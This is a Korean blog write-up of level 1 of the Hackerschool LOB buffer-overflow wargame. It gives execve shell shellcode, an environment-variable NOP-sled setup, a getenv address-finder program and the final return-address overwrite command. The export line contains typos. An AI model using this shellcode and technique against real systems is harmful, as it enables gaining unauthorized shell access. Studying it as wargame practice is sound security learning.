생에 첫 bof를 해보자.
삽질 많이 했다.
공부까지 합쳐서 한 3일걸렸나?
젠장
시작해본다
우선, gremlin 파일의 권한이 gremlin이므로, gdb에서 실행이 안되므로,
gdb에서 실행을 하려면 파일을 복사해서 사용하자.
gdb에서 실행안하고 단순히 디스어셈블만 할거면 상관없다.
디스어셈블을 해보자.
뭐 여튼,
스택에
LOW | Buffer(256byte) | SFP(4byte) | RET(4byte) | HIGH
이런식으로 들어간다.
그래서 공격할 때
파라미터에는 260바이트 뒤에 주소를 넣어주면 된다.
우선 쉘코드는
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이걸 사용하였다.
25바이트짜리 bash를 띄우는 간단한 쉘코드이다.
난 이 쉘코드를 환경변수에 등록한 다음,
리턴주소를 이 환경변수의 주소로 변경하여 공격을 진행할 것이다.
환경변수를 등록하려면,
export SHELLCODE=”`python -c 'print "₩x90"x100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`”
안전한 공격을 위해 충분한 NOP을 넣어주고 쉘코드를 넣는다.
이렇게 입력하고,
export 명령어로 제대로 환경변수가 들어갔는지 확인해본다.
제대로 들어간 것을 확인했다.
이제 아래 코드로 이 환경변수의 주소를 알아내는 간단한 코드를 짜본다.
#include <stdio.h>
int main(int argc, char **argv)
{
char *addr;
addr=getenv(argv[1]);
printf("address %p₩n", addr);
return 0;
}
이걸로 환경변수를 입력하면 주소를 출력해준다.
이제 주소를 알았으니 진짜 버퍼오버플로우를 해보자.
260바이트를 NOP을 넣어주고, 그 다음에 환경변수의 주소를 넣어주면,
환경변수가 저장된 주소로 리턴하게 되고,
환경변수에 저장해놓은 NOP을 타고가다가 쉘코드가 실행되게 된다.
./gremlin `python -c 'print "\x90"*260+"\x92\xfe\xff\xbf"'`
젠장
성공하였다.
ㅜㅜ
힘들다...
이제 2번 해봐야지
'WarGame > HackerSchool_LOB' 카테고리의 다른 글
HackerSchool LOB Level6 (0) | 2014.07.29 |
---|---|
HackerSchool LOB Level5 (0) | 2014.07.29 |
HackerSchool LOB Level4 (0) | 2014.07.26 |
HackerSchool LOB Level3 (0) | 2014.07.24 |
HackerSchool LOB Level2 (0) | 2014.07.24 |